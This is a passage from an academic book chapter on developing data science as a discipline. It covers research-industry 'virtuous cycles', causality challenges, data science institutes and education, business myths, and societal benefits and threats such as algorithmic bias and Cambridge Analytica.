cycle requires innovation in each stage. The cycle is more dynamic and powerful in
an emerging domain such as data science. Each stage in data science is in its infancy;
hence each stage in research could involve developing, generalizing, and integrating
the current results in that stage—principles, platforms, products, and practice.
Applying virtuous cycle principles to data science means grounding the work in a
real challenge, for example, drug discovery in cancer research (Spangler et al. 2014),
with industrial-scale challenges and opportunities to drive the cycle, real use cases to
develop and validate solutions, and products to determine value and impact. In the
cancer case just cited, innovation occurred, that is, Spangler et al. developed a
domain-specific data science method that was subsequently generalized to be more
domain independent (Nagarajan et al. 2015), and the mechanisms used to further
verify the results are now more widely applied in data science.

Table 9.1 The flow of good ideas in virtuous cycles

Activity Research Engineering Development Delivery

Result Publication Prototype Product
Application/
Use case

Applied to technology

Twentieth cen-
tury hardware-
software R&D
cycle

Innovation  ! Innovation

Twentieth cen-
tury infrastruc-
ture/Systems
RD&D cycle

Innovation  ! Innovation  ! Innovation

Twenty-first
century RD&D
cycle

Innovation  ! Innovation  ! Innovation  ! Innovation

Applied to research, and education, and technology transfer

Education How  ! How  ! How  ! How

Research and
technology
transfer

Innovation  ! Innovation  ! Innovation  ! Innovation
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3.4 Establishing Causality: A Critical Challenge

Due to the critical problems to which data science is being applied, for example,
IBMWatson is in the business of recommending medical treatments, it is critical that
accurate likelihoods of outcomes be established. One of the greatest challenges of
data science is doing just that—establishing accurate estimates of probabilistic
outcomes and error bounds for those results, to which we now turn our attention.

The objective of the Twenty-First Century Virtuous RD&D Cycle is to continu-
ously produce technology and applications that are grounded in reality, namely, that
produce products that create value, or even a market of such products that have
positive practical, economic, and social impacts. For example, there is a market for
data science-based systems that automate aspects of online retailers supply chain, for
example, automatically buying hundreds of thousands of products to meet future
sales while not overstocking. In 2015, the cost of overstocking was approximately
$470 bn and of understocking $630 bn worldwide (Economist 2018d). Normal
economics and the marketplace are the mechanisms for demonstrating value and
measuring impact. Determining value and impact is far from simple. Most technol-
ogy such as DBMSs and products such as Microsoft Office have immense value and
impact with continuously growing, multi-billion dollar markets. Data science-based
products have the potential for great contributions to individuals, organizations,
society, and the economy. Like most technology, data science holds equal potential
for positive and negative impacts. Disliking a Netflix data-science-driven movie
recommendation may waste half an hour of your time. Unfortunately, substantial
negative consequences are being discovered in data science applications, such as
ethical problems in parole sentencing used extensively in the USA (O’Neil 2016).
What might be the impact of data-driven personalized medicine treatment recom-
mendations currently being pursued by governments around the world?

Consider that question given that Why Most Published Research Findings Are
False (Ioannidis 2005) has been the most referenced paper in medical research since
2005. Data science currently lacks robust methods of determining the likelihood of
and error bounds for predicted outcomes, let alone how to move from such corre-
lations to causality. While mathematical and statistical research may be used to
address probabilistic causality and error bounds, consider the research required to
address ethical and societal issues such a sentencing.

The scientific principles that underlie most research also underlie data science.
Empirical studies report causal results while data science cannot. Data science can
accelerate the discovery of correlations (Brodie 2019a). A significant challenge is to
assign likelihoods and error bounds to these correlations. While the current mech-
anisms of the Twenty-First Century Virtuous RD&D Cycle to measure value and
impact of products worked well for simple technology products, they may not work
as well for technology that is increasingly applied to every human endeavor, thus
directly influencing our lives. This is a significant issue for the development and
operation of data science in many domains. This is yet another class of issues that
illustrate the immaturity of data science and the need for multi-disciplinary
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collaboration. The complex issue of causal reasoning in data science is addressed in
greater detail in the companion chapter (Brodie 2019a).

4 Applying Twenty-First Century Virtuous RD&D Cycles
to Data Science

A primary benefit of the Twenty-First Century Virtuous RD&D Cycle is to connect
research, engineering, and products in a research-development-delivery cycle with
the objective of being virtuous through a continuous flow of innovative, good ideas
and challenging problems. The cycle has many applications. It is used extensively in
computer science research in academia and industry, in startups that are building our
digital world, and increasingly in medicine and science. It has been and is being used
to transform education. I propose that it be used to guide and develop data science
research, practice, and education.

4.1 A Data Science RD&D Cycle Example

In the mid-2000s, legions of software startups applied the Twenty-First Century
Virtuous RD&D Cycle to customer facing applications. As an example, Stonebraker
applied the RD&D cycle to Goby—an application that searches the web for leisure
activities to provide users, for example, tourists, with a list of distinct local, leisure
activities. The “good idea” was to find all activities on the web that might be of
interest to tourists. The PIA problem is that there are thousands of leisure activities
with many listings that are highly redundant (i.e., replicas), dirty, often inaccurate
and contradictory, and in heterogeneous formats. As is typically the case in data
science analyses, more than 80% of the resources were required to discover,
deduplicate, and prepare the data, leaving less than 20% for analysis, in this case
determining relevant activities. This real, industrial-scale use case led to research,
Morpheus (Dohzen et al. 2006), that developed machine-driven, user-guided solu-
tions to discover, clean, curate, deduplicate, integrate (a better term is unify), and
present data from potentially hundreds of thousands of data sources. The “good
idea” led to a PIA6 problem that resulted in a prototype that led to a product with a
commercial market that demonstrated its value and impact. Meanwhile, unantici-
pated challenges cycled back to Goby for product improvements and enhancements
while more fundamental, research challenges went back to Morpheus. The good

6Good ideas hopefully arise in answer to a PIA challenge. In this example, the good idea, finding
events on the web, led to a PIA problem that was resolved with the now conventional machine
driven (ML) and human guided method. The trick is a combination of good ideas and PIA
challenges, leading to valuable results.

9 On Developing Data Science 143



idea—find events on the web—was generalized from events to the data discovery
and preparation of any type of information leading to further innovation that led to a
new research project—Data Tamer—that in turn led to a new product—Tamr.com—

and a burgeoning market in data discovery and preparation for data science
(Forrester 2017; Gartner G00315888 2017). Tamr and similar products are part of
the budding infrastructures for data science, called data science platforms (Gartner
G00301536 2017; Gartner G00326671 2017; Gartner G00335261 2018).

The Twenty-First Century Virtuous RD&D Cycle is being used to design,
develop, and deliver data science tools and platforms. Data discovery and prepara-
tion, and data science platforms are concrete examples of this cycle in practice. Over
30 data preparation tools and 60 data science platforms are emerging (Gartner
G00301536 2017; Gartner G00326671 2017; Gartner G00326456 2018; Gartner
G00326555 2018). This cycle is virtuous as long as there are continuous innovation
and broad benefits. Currently, aspects of most human endeavors are being automated
by means of digital tools developed to study, manage, and automate those endeavors.
Data preparation tools are being developed by being applied to an increasing number
of new domains, each presenting new challenges. The continuous flow of practical
applications, use cases, PIA problems and other challenges contribute to the cycle
being virtuous. The cycle becomes virtuous when all participants benefit. Data
science tools and platforms are beginning to flip the ratio of the data-preparation
to analysis resources from 80:20 to 20:80, so that data scientists can devote the
majority of their time to analysis and not to plumbing. Data science practiced in a
virtuous cycle is applied science at its best—producing broad value and contributing
to accelerating data science practice and the development of data science per se.

4.2 Developing Data Science in Practice and as a Discipline

Data science is an emerging phenomenon worldwide that will take a decade to
mature as a robust discipline (Brodie 2015, 2019a). Its growth and diversity can be
seen in the number (over 150) and nature of DSRIs, most of which were established
after 2015. The emerging state of data science can be seen in the fact that each DSRI
provides different answers to key data science questions that all DSRIs should
answer (Brodie 2019a): What is data science? What is the practice of data science?
What is world class data science research?

The Twenty-First Century Virtuous RD&D Cycle can guide the development and
practice of data science. First, the domain is just emerging characterized by a
constant flow of new ideas entering the cycle. Data science is being attempted in
every human endeavor for which there is adequate data (Brodie 2019a). Second, due
to its immaturity (Brodie 2015) data science must be grounded in reality, for
example, real data in real use cases at the appropriate scale. The cycle can be used
to guide the development and work of individual data scientists and, at a greater
scale, of DSRIs. Major features of the cycle are already present in most DSRIs,
specifically research-industry collaboration in their research and education. Most
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have industry partners and collaborations for education, RD&D, for case studies, and
for technology transfer. In most cases, significant funding has come from industry
partners. The charter of the Center of Excellence at Goergen Institute for Data
Science7 includes collaborating with industry “to apply data science methods and
tools to solve some of the world’s greatest challenges in sectors including: Medicine
and Health, Imaging and Optics, Energy and the Environment, Food and Agricul-
ture, Defense and National Security, and Economics and Finance.” The mission
statement of the recently launched Harvard Data Science Initiative8 states “Appli-
cations are by no means limited to academia. Data scientists are currently key
contributors in seemingly every enterprise. They grow our economy, make our cities
smarter, improve healthcare, and promote civic engagement. All these activities—
and more—are catalyzed by the partnership between new methodologies in research
and the expertise and vision to develop real-world applications.”

Applying the Twenty-First Century Virtuous RD&D Cycle to DSRIs must
recognize three factors that distinguish data science from conventional academic
research that often lacks research-industry engagement. First, while core or theoret-
ical research is equally important in both cases, DSRI resources must be allocated to
applied research, technology transfer, and supporting research-industry collabora-
tion9. Unlike a computer science research institute and in support of this objective, a
DSRI might have a Chief Scientific Officer to establish DSRI-wide data science
objectives, such as contributing more than the sum of its parts, and coordinating
research across the many organizational units into the components of data science,
for example, principles, models, and analytical methods; pipelines and infrastruc-
ture; and a data science method, to support data science in all domains. Second,
special skills, often not present in research staff, are required for research-industry
engagement, the research-development-delivery cycle, and technology transfer. For
example, emerging data science platforms are increasingly important for developing
and conducting data science. A data science platform includes workflow engines,
extensive libraries of models and analytical methods, platforms for data curation and
management, large-scale computation, and visualization; that is, a technology infra-
structure to support end-to-end data science workflows or pipelines. Hence, research
into the development of data science platforms should be a DSRI research objective.
Again, unlike a computer science research institute, a DSRI might also establish a
Chief Technology Officer responsible for those functions including the development
and maintenance of a shared data science technology infrastructure.

The third distinguishing factor is the relative immaturity of data science versus
most academic disciplines; excitement and hype cloud the real state of data science.
A common claim is that data science is successful, ready for technology transfer and
application in most human endeavors. While there are successful data science

7http://www.sas.rochester.edu/dsc/
8http://datascience.harvard.edu/
9In its emerging state, data science lacks a scientific or theoretical base. Establishing data science as
a science should be a fundamental objective of data science researchers and DSRIs (Brodie 2019a).
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technologies and domain-specific results, in general this impression, often espoused
by vendors and enthusiasts,10 is false. While there are major successes and expert
data scientists, data science is an immature, emerging domain that will take a decade
to mature (Brodie 2015, 2019a). Analysts report that most early (2010–2012) data
science projects in US enterprises failed (Forrester 2015a, b; Demirkan and Dal
2014; Veeramachaneni 2016; Ramanathan 2016). In late 2016, Gartner reported that
while most (73%) enterprises declare data science as a core objective, only 15% have
deployed Big Data projects in their organization (Gartner G00310700 2016) with
well-known failures (Lohr and Singer 2016). This reflects confusion concerning data
science and that technology analysts are not reliable judges of scientific progress.

Slow progress makes perfect sense as data science is far more complex than
vendors and enthusiasts report. For example, data science platforms provide libraries
of sophisticated algorithms [visualization (Matplotlib, Matlab, Mathematica); data
manipulation, aggregation, and visualization (Pandas); linear algebra, optimization,
integration, and statistics (SciPy); image processing and machine learning (SciKit-
Learn); Deep Learning (Keras, TensorFlow, Theano); Natural Language Processing
(NLTK)] that business users have significant difficulty fitting to business problems
(Forrester 2015b). There is a significant learning curve—few people understand
deep learning, let alone statistics at scale—and substantial differences with conven-
tional data analytics. What do you mean these aren’t just spreadsheets?

Over the next decade, research will establish data science principles, methods,
practices, and infrastructure and will address these key questions. This research
should be grounded in practical problems, opportunities, and use cases. DSRIs
should use the Twenty-First Century Virtuous RD&D Cycle to direct and conduct
research, practice, education, and technology transfer. Initially, they might use the
R&D cycle to explore good ideas. Research-industry collaborations should be used
to identify and evaluate novel data science ideas. When collaborations can identify
plausible use cases or PIA problems, the research-development-delivery cycle
should be used. That is, to identify research domains and directions, DSRIs should
identify industrial partners with whom to collaborate to establish virtuous cycles that
equally benefit researchers and industry partners. As with applied university research
funding, a significant portion of data science research funding should come from
industry to increase industry-research engagement and quickly identify valuable
research with impact potential.

10Michael Dell, Dell CEO, predicted at the 2015 Dublin Web Summit that big data analytics is the
next trillion-dollar market. IDC predicts 23.1% compound annual growth rate, reaching $48.6
billion in 2019. Forrester Research declared that “all companies are in the data business now.”
Gartner predicts “More than 40% of data science tasks will be automated by 2020” (Gartner
G00316349 2016).
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4.3 Developing Data Science Education

Data science is one of the fastest growing subjects in education due to the demand
for data scientists. Data science courses, programs, degrees, and certificates are
offered by most universities and professional training institutes and are part of the
mission of most DSRIs. Given the decade to maturity of data science, how should
data science education programs be developed?

Just as the Twenty-First Century Virtuous RD&D Cycle is used to transform the
research, development, delivery, and use of computer systems and applications, it
can also be used to transform education. The intention of the recently launched
Twenty-First Century Applied PhD Program in Computer Science11 at Texas State
University is for PhD level research ideas, innovations, and challenges to be
developed in prototype solutions and refined and tested in industrial-scale problems
of industrial partners. The cycle is to be driven by industrial partners that investigate
or face challenges collaboratively with the university. PhD candidates work equally
in research and in industry to identify and research challenges and opportunities that
are grounded in real industrial contexts and to develop prototype solutions that are
refined using industrial use cases. This educational cycle requires technology trans-
fer from research to advanced prototypes to industry with opportunities and prob-
lems transferring, in the opposite direction, from practice to advanced development
and to research. It becomes virtuous with a constant stream of “good ideas”—
challenges and opportunities—and of PhD candidates in one direction, and industry
PIA problems, challenges, and opportunities in the other. The primary benefits of
this program are that research, teaching, and products are grounded in reality.

These ideas are not new. The Fachhochschule system (universities of applied
sciences) applied virtuous cycle principles in Germany since the late 1960s, and in
Austria and Switzerland since the 1990s as a graduate extension of the vocational
training and apprenticeship (Berufslehre und Ausbildung) programs that have roots
in mentorships and apprenticeships from the middle ages.

While the quality and intent of the European and US educational systems are the
same, the systems differ. Academic universities focus on theory and applied univer-
sities focus on the application of science and engineering. Fachhochschulen usually
do not grant PhDs. In addition, research in applied universities is funded differently
from research in academic universities. Usually, over 80% of applied research
funding comes from third parties to ensure research-industry engagement12 and as
a test of the PIA principle. Unsuccessful research is quickly identified and termi-
nated. Dedicated government agencies provide partial funding and promote innova-
tion and technology transfer through collaboration between industry and the applied
universities. Enrollments in Fachhochschulen are soaring, indicating the demand for
education grounded in reality—closely mirroring successful startup behavior. Due to

11https://cs.txstate.edu/academics/phd/
12A similar principle applied by the funding agency in Sect. 5.1 story was initially considered a
death knell by the DSRI and by me. It took a year for me to see the value.
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the significance of, demand for, and perceived value of data science, education
programs should be revisited considering adding more applied aspects to conven-
tional research and education for data science. A good example of this vision is the
Twenty-First Century Applied PhD Program in Data Science at Texas State Uni-
versity, based on a collaborative research-industry-development-delivery model.

5 Lessons Learned

5.1 Data Science and DSRI Stages of Development

In 2013, I was invited to join the Scientific Advisory Committee (SAC) of Ireland’s
Insight Center for Data Analytics, at the time one of the first and largest DSRIs,
composed of four partner institutes. Since then I have actively participated on the
SAC as well as on Insight’s Governance Committee. Over the following years, I
observed the development of Insight as a DSRI as well as the establishment of over
150 DSRIs at major institutions worldwide. Insight’s development as a DSRI was
not without challenges. In 2017, Science Foundation Ireland (SFI) reviewed Insight
for a potential 5-year funding renewal. Insight needed to tell SFI what data science
was, what world class data science research was, and to measure its progress
accordingly. This led me to the observation, stated to the review board, that Insight’s
development as a DSRI reflected the development of data science as a discipline.
The most thoughtful contributors to data science fully understood that while the
potential benefits for Ireland and the world were enormous, data science as a
discipline was in its infancy and faced considerable scientific and organizational
developmental challenges. Further, that Insight in operating for 5 years and in
aspiring to world class data science contributions as a world class DSRI had faced
and overcome significant challenges that I had witnessed first-hand at Insight and
indirectly in eight other DSRIs.

Over 5 years, Insight had gone through the four stages of development that
younger DSRIs are just encountering. Insight is currently at stage five—a critical
stage. Successful progress through the stages revolved around three fundamental
issues:

• Just as the science and the scientific method are far more than experiments in a
single domain, so too is data science more than data science activities in a single
domain.

• Changing centuries of research behavior to enable collaboration across disci-
plines in data science pipelines, as well as across academic and organizational
boundaries.

• Producing, for Ireland and for data science, more than the sum of the parts, that is,
the results of individual member institutes.

The five stages are simple.

148 M. L. Brodie



1. Act of creation: An organizational decision was made to form a DSRI from
independent, one might say competing, institutes with a new focus, the emerging
discipline of data science. The institutes—researchers and administrators alike—
in a behavioral and legal tradition of individual progress and reward were not
happy campers. Awkwardness arose.

2. Initial participation: Participants continued business as usual, but expressed a
willingness to participate and cooperate followed by little actual collaboration
and some ingrained competitiveness. The DSRI administration soldiered on
toward understanding the bigger picture that had not been defined by anyone—
funders, researchers, or advisors.

3. Data science objectives understood—conceptually: After a few years of suc-
cessful execution of individual research efforts and attempts to understand data
science, modest progress was made, especially once it was clear that funding
would depend on the DSRI being more than the sum of the parts and would be
measured on world-class data science, interpreted then as contributing to data
science, per se. But what is that exactly?

4. Data science objectives understood—emotionally: Goals provide focus. Five
years of funding of the now seven institutes depended on the DSRI being “more
than the sum of the parts”. This was not an abstract concept but required
providing benefits such as accelerating discovery in specific parts of the Irish
economy, educating data scientists, and economic growth in Ireland, involving
not just researchers but major industrial partners. Individual researchers rose to
the challenge to propose a collaborative DSRI. By the time of the review, they
had become a band of data science brothers and sisters, together with industrial
partners.

5. Stand and deliver: While the DSRI will continue to produce specific data science
results that are world class in specific domains, for example, physiology, it is
defining and planning contributions to data science, including data science
principles, models, methods, and infrastructure (Brodie 2019a).

Many DSRIs around the world have been created, like Insight, by a higher-level
organization, typically a university, to coordinate the myriad data science activities
in that organization. The critical factor missing in many DSRIs, at least as viewed
through their websites, is an imperative to understand and contribute to data science
per se, to contribute more than the sum of the contributions of the partner organi-
zations. SFI’s funding of Insight depends on contributing to data science per se,
worded as “contributing more than the sum of the parts.” This imperative is not
present in many DSRIs.

5.2 Myths of Applying Data Science in Business

As often happens with new technology trends, their significance, impact, value, and
adoption are exaggerated by the analysts and promoters as well as by optimists and
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the doomsayers. Technology analysts see their roles as reporting on new technology
trends, for example, Gartner’s Hype Cycles. If a technology trend is seen as
significant, investment analysts join the prediction party. Technology and invest-
ment analysts are frequently wrong as they are now with data science. Many
technology trends reported by Gartner die before reaching adoption, for example,
the 1980s service-oriented architectures. Some trends that are predicted as dying
become widely adopted, for example, the .com boom was reported as a failure,
largely due to the .com stock market bubble, but the technology has been adopted
globally and has led to transforming many industries. Data science is one of the most
visible technology trends of the twenty-first century with data scientists called “the
sexiest job of the twenty-first century” (Davenport and Patil 2012) and “engineers of
the future” (van der Aalst 2014). To illustrate the extent to which data science is
blown out of proportion to reality, let us consider several data science myths. A
reasonable person might ask, given the scale, scope, and nature of the change of data
science as a new discovery paradigm, how could anyone predict with any accuracy
how valuable it will be and how it will be adopted, especially when few people,
including some “experts”, currently understand it (that, by the way, was myth #1).

Everyone Is Successfully Applying Data Science As reported above most (80%)
early (2010–2012) data science projects in most US enterprises failed. By early
2017, while 73% of enterprises declare data science as a core objective, only 15%
have deployed it. In reality, AI/data science is a hot area, with considerable,
perceived benefit. Hence many companies are exploring it. However, such projects
are not easy and require ramping up of rare skills, methods, and technologies. It is
also difficult to know when and how to apply the technology and to appropriately
interpret the results. Hence, most initial projects are highly unlikely to succeed but
are critical to gain the expertise. Applying AI/data science in business will have
major successes (10%) and moderate successes (40%) (Gartner G00310700 2016).
Most companies are and should explore AI/data science but be prepared for a
significant learning curve. Not pursuing AI/data science will likely be an advantage
to your competitors.

Reality: organizations perceiving advantages should explore data science and
prepare for a learning curve.

Data Science Applications Are Massive While scale is a definitive characteristic
of Big Data and data science, successful applications can be small and inexpensive.
The pothole example (Brodie 2019a) was a very successful launch of now
flourishing startups in the emerging domain of autonomous vehicles. It was based
on building and placing small, inexpensive (~$100) motion detectors in seven taxis.
It started with the question shared by many businesses, What is this data science
stuff? It was a pure exploration of data science and not to find a solution to a PIA
problem. As data science matures, we see that the critical characteristics of a data
analysis are determined by the domain and the analytical methods applied. Volume
is one characteristic that must meet statistical requirements but even GB or TB may
be adequate and can be handled readily by laptops.
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Reality: data science can be applied on modest data sets to solve interesting,
small problems.

Data Science Is Expensive Famous, successful data analytics (Higgs Boson,
Baylor-Watson cancer study, LIGO, Google, Amazon, Facebook) often require
budgets at scale (e.g., massive processing centers, 1,00,000 cores, 1000s of ana-
lysts); however, data analytics even over relatively large data volumes can be run on
desktops using inexpensive or free open source tools and the cloud. Businesses can
and should conduct initial explorations like the pothole analyses at negligible cost.

Reality: small players with small budgets can profit from data science.

Data Science Predicts WhatWill Happen Otto, a German retailer orders 2,00,000
SKUs fully automated. Above we cited predictions of trillions of dollars in related
savings worldwide. However, the results of good data analytics are at best probabi-
listic with error bounds. This is somewhat similar to science (scientific method) but
is typically less precise with lower probabilities and greater error bounds due to the
inability of applying the controls that are applied in science. Businesses should
explore the predictive power of data science but with the full understanding of its
probabilistic and error-prone nature. Otto and the supply chain industry constantly
monitors and verifies results and adjusts as needed or, like H&M, you might end up
with a $4.3 bn overstock (New York Times 2018).

Reality: predictions are probabilistic and come with error bounds.

Data Science Is Running Machine Learning Over Data Machine learning is
highly visible in popular press accounts of data science. In reality, one must select
from thousands of AI and non-AI methods and algorithms depending on the
phenomenon being analyzed and the characteristics of the data. What’s more, as
reported above, while algorithm selection is critical, 80% of the resources including
time for a data analysis is required just to find and prepare the data for analysis.

Reality: as there is no free lunch (Wolpert and Macready 1997), there is no single
methodology, algorithm, or tool to master to do successful data science, just as it is
in science.

AI/Data Science Is Disrupting and Transforming Conventional Industries
and Our Lives This widely reported myth (Marr 2017; Chipman 2016) makes
eye catching press but is false. There is ample evidence that AI/data science is being
applied in every human endeavor for which adequate data is available such as
reported throughout this book. The list of impacted industries is long: mechanical
engineering and production of industrial goods (shop floor planning, robotics,
predictive maintenance); medicine (personalized health); commerce/trade
(e-commerce, online business, recommenders); hospitality (demand planning and
marketing via analytics, pricing based on customer analytics); transportation (ride-
sharing/hailing); automotive (self-driving cars, e-mobility); services (new business
models based on data); and many more. In reality, five industries have been
massively disrupted by digital innovation—music, video-rental, publishing (books,
newspapers), taxicabs, and retailing (predominantly clothing). They are in the
process of being transformed, for example, the Spotify business model is an example
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of transformation in music; Uber’s is in taxicabs, but the process takes years or
decades. However, the vast majority of industries are currently unaffected. If an
industry is being transformed, it is reflected in the stock market, for example, a price-
earnings ratio of less than 12 is generally forecast imminent collapse. According to
that rule of thumb, Ford and GM’s price-earnings ratio of 7 suggest disruption and
transformation if not collapse possibly due to electric vehicles (EVs) such as Tesla
and ride-sharing/hailing. There are no such indications for the other “conventional
industries” (Economist 2017).

Reality: almost all conventional industries are impacted, but only few are
disrupted.

It’s All About AI Current popular and even scientific press suggests that AI is one
of the hottest and potentially most significant technologies of the twenty-first
century. AI is sometimes referred to as an object as in “an AI is used to . . . ”.
Without doubt AI and specifically machine learning (ML) and deep learning
(DL) have been applied to a wide range of problems with significant success and
impact as described above. It is very probable that ML will be applied much more
extensively with even greater success and impact. However, like most “hot” techni-
cal trends, the press characterization is a wild exaggeration—a myth. First of all, AI
is a very broad field of research and technology that pursues all forms of intelligence
exhibited by a machine (Russell and Norvig 2010). ML is one of perhaps 1000 AI
technologies. Second, until we understand ML, its application will be limited. The
current, very successful ML technologies arose in the early 2000s from a previously
unsuccessful technology, neural networks. Amazingly ML, augmented by massive
data sets and high-performance computing, has been applied to images, sentences,
and data to appear to identify entities that are meaningful to humans, for example,
pizzas, cats, and trains on tracks, and cluster those meaningful entities based on
similarities meaningful to humans. We have no idea why there is a correlation
between the results of an ML analysis and meaning understood by humans. Con-
siderable research is being invested in understanding such reasoning, but it is far
from mature. As a result, the use of ML in the European Community is restricted by
the GDPR law. Finally, the successful application of ML is proportional to the data
to which it is applied, typically ML works most effectively on massive data sets.
Massive data analysis requires high performance computing, one of the critical
components that moved neural networks from failure to success. Hence, most
naïve misuses of the term AI should be replaced with the specific AI technology,
for example, ML, plus data plus high-performance computing. This sounds remark-
ably like data science.

Reality: AI is a key component, among many others, that is necessary to conduct
data science; AI does not perform miracles; in many cases “AI” should be replaced
by the technologies used to support analytical workflows.
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6 Potential Impacts of Data Science

The development of data science involves not just the science, technology, and
applications, it also involves the opportunities, challenges, and risks posed by the
applications of data science. Hence, I now briefly review some potential benefits and
threats of applying data science, many of which have been reported in the popular
press. However, popular press descriptions of hot technical topics and their impacts
are usually to be taken with a grain of salt, especially concerning AI and data science
that are not well understood by some experts.

In the early 2010s, Big Data was the hot technology topic. In 2018, AI and its
power was the hot topic, not unreasonably as Sundar Pichai, Google CEO, said that
AI will have a “more profound” impact than electricity or fire (Economist 2018a).
Consider it a matter of terminology. Big Data on its own is of no value. Similarly,
without data AI is useless. The hot technical topics that surface in the media are
equally attributable to AI, massive data, and powerful computation. In what follows,
as above, I refer to applications of that combination as AI/data science. Yet even
those three terms are not adequate to achieve the hot results since data science
depends also on domain knowledge and more, but this will suffice for the following
discussion.

According to Jeff Dean, director of Google’s AI research unit, Google Brain,
more than 10 m organizations “have a problem that would be amenable to a
machine-learning solution. They have the data but don’t have the experts on staff”
(Economist 2018b). That is, the potential impacts of AI/data science will have broad
applicability.

As with a new, powerful technology, society, for example, legislation, is seldom
able to keep up with its impacts. In the case of AI/data science, let’s consider its
impacts on our daily lives, both the benefits and the threats, of a multi-billion-dollar
industry that currently has almost no regulations to restrain its application.

6.1 Benefits

Google’s youthful founders, Sergey Brin and Larry page, defined its original vision
“to provide access to the world’s information in one click” and mission statement “to
organize the world’s information and make it universally accessible and useful” with
the famous motto “Don’t be evil”. Indeed, they almost succeeded beyond their
wildest dreams. The entire world benefits from instant access to much of the world’s
information. We went from this utopian view of the potential of AI/data science to
one in which Google, in 2015, dropped its famous motto from its code of conduct. I
address some shortcomings, such as use and protection of personal information, in
the next section.

It is infeasible to list here the many benefits of AI/data science, so let’s consider
two examples, medicine and autonomous vehicles. A data-science-based medical
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analysis can compare a patient’s mammogram with 1 m similar mammograms in
seconds to find potential causes and treatments that were most effective for the
conditions present in the subject mammogram. Similar analyses and achievements
are being made with our genetic code to identify the onset of a disease and effective
treatment plans based on millions of similar cases, something no human doctor could
possibly do on their own.

Autonomous vehicles depend on AI/data science. It is commonly projected that
autonomous vehicles will radically reduce the 1 m annual traffic deaths per year
worldwide, pollution and traffic congestion while shortening travel times, freeing us
up for a better quality of life. The impacts could be far greater than those of the
automobile. But how will autonomous vehicles change the world? One factor to
consider is that currently the average car sits parked 95% of the time. What might be
the impacts of autonomous vehicles on real estate, roads, automobile manufacturing,
and employment?

Most benefits of technology harbor unanticipated threats—autonomous vehicle
results can be applied in many domains, for example, autonomous weapons are used
by 80 countries including the USA that has over 10,00013. Let us consider a few
threats posed by AI/data science.

6.2 Threats

On May 6, 2010, the US stock market crashed. In the 2010 Flash Crash, over a
trillion dollars in value was lost and the indexes (Dow Jones Industrial average, S&P
500, Nasdaq Composite) collapsed (Dow Jones down ~1000 points, 9% in value).
Within 36 min the indexes and value largely but not entirely rebounded. This was
due in part to algorithmic trading that operates 60% of trading in US exchanges, and
in part to the actions of Navinder Singh Sarao, a trader who the US Department of
Justice convicted for fraud and market manipulation.14 Algorithmic trading is a data
science-based method of making trades based on complex economic and market
analysis based on potentially all trades ever transacted. This was not a threat. It was a
reality and a harbinger of similar threats.

How might AI/data science threaten employment? Consider the potential impact
of autonomous vehicles on America’s 4 m professional drivers (as of 2016, US
Bureau of Labor Statistics). Robots will impact a vastly larger number of jobs.
McKinsey Global Institute estimated that by 2030 up to 375 m people could have
their jobs “automated away” (Economist 2018c). These examples are the tip of the
AI/data science unemployment iceberg. The Economist (2018f) and the

13Do you trust this computer? http://doyoutrustthiscomputer.org
14https://www.justice.gov/opa/pr/futures-trader-pleads-guilty-illegally-manipulating-futures-mar
ket-connection-2010-flash
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Organisation for Economic Co-operation and Development (OECD) (Nedelkoska
and Quintini 2018), estimate that over 50% of all jobs are vulnerable to automation.

An insidious threat is bias in decision making. Our lives are increasingly deter-
mined by algorithms. Increasing machine learning and other sophisticated algo-
rithms are used to make decisions in our lives, in our companies, in our careers, in
our education, and in our economy. These algorithms are developed with models
that represent the significant features of the problem being addressed. No one but the
developers see the code, fewer people actually understand the code. So, what is in
the code? Are race, sex, or a history of past behavior significant and acceptable
features in parole sentencing? Are these algorithms biased against certain types of
individuals? ProPublica proved that parole sentencing is indeed biased against
blacks (Angwin et al. 2016). The 12 vendors of the systems that the US government
uses for sentencing refuse to release their code for inspection. Ironically, ProPublica
proved their case using data science. They collected and analyzed sentencing data to
prove with high confidence that the systems were inherently biased. This has led to
the algorithmic accountability movement in the legal community.

In many countries, tech companies, for example, Apple, Alphabet (Google
parent), Microsoft, Amazon, Facebook, Alibaba, and Tencent, know more about
us and can predict our behavior better than we can. In some countries, the govern-
ment takes this role (e.g., China’s social credit system). Over the past decade, there
has been increasing concern for personal information. Legislation to govern the use
and privacy of personal information [General Data Protection Regulation15 (GDPR)]
was enacted in Europe only in May 25, 2018. US congressional hearings only began
in early 2018 prompted by the alleged illegal acquisition of 87 m Facebook profiles
by Cambridge Analytica (CA), described below.

The power and growth of the seven companies mentioned above, the largest
companies in the world by market capitalization, is directly attributable to AI/data
science. Their average age is less than 10 years in contrast to average age of
141 years of the legacy companies that they are supplanting from the top 10 largest
companies. These tech leaders vastly outspend the largest legacy companies in
research and development, for example, Apple’s 2017 $22.6 bn R&D investment
was twice that of non-tech Johnson & Johnson, established in 1886. It is frequently
argued (Lee 2017; Economist 2018e) that the power of AI/data science is such that
the country that dominates the field will wield disproportionate economic and
ultimately political power worldwide, that is, will monopolize not just AI/data
science but areas of the economy for which it is a critical success factor. Currently,
China and the USA are the leaders by far. However, the playing field is beginning to
favor China. The power and development of AI solutions is heavily dependent on
vast amounts of data. Increasing restrictions on data, such as privacy legislation
mentioned above, will significantly inhibit US AI companies while there is little or
no such limitations by the Chinese government that itself collects massive data on its
citizens.

15https://en.wikipedia.org/wiki/General_Data_Protection_Regulation
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It may seem dramatic, but data science has allegedly been used to threaten
democracy (Piatetsky 2016). Alexander Nix, the now-suspended CEO of
now-insolvent CA, claimed to have applied a data science-based methodology,
psychometrics, to influence political opinion. Nix reported that it was used to
influence the outcomes of political elections around the world including the 2016
British EU referendum, aka Brexit referendum, in favor of leaving, and the 2016 US
election in favor of Donald Trump. Psychometrics is based on a physiological
profiling model from Cambridge and Stanford Universities. For the US election,
CA illegally and legally acquired up to 5000 data points each of 230 m Americans to
develop a detailed profile of every American voter. Profiles were used to send
“persuasion” messages (e.g., on gun rights) targeted to and nuanced for the weak-
nesses and preferences of individual voters. CA activities were first reported in 2015
and resurfaced in January 2017 when Trump took office. It wasn’t until April 2018
that CA’s actions in the 2016 US election were considered for prosecution. Not-
withstanding CA’s illegal actions and potentially violating American democratic
principles, CA’s data-science method appears to have been very effective and
broadly applicable, for example, being applied in targeted, 1-on-1 marketing. Such
methods are allegedly being used by governments, for example, in the Chinese social
credit system and in Russian interference with the 2016 US election. This genie is
out of the bottle.

6.3 More Profound Questions

A more profound question is: Will these advanced technologies enhance or replace
man? In Homo Deus (Harari 2016), the author Yuval Noah Harari hypothesizes that
the human race augmented by advanced technologies, specifically AI/data science,
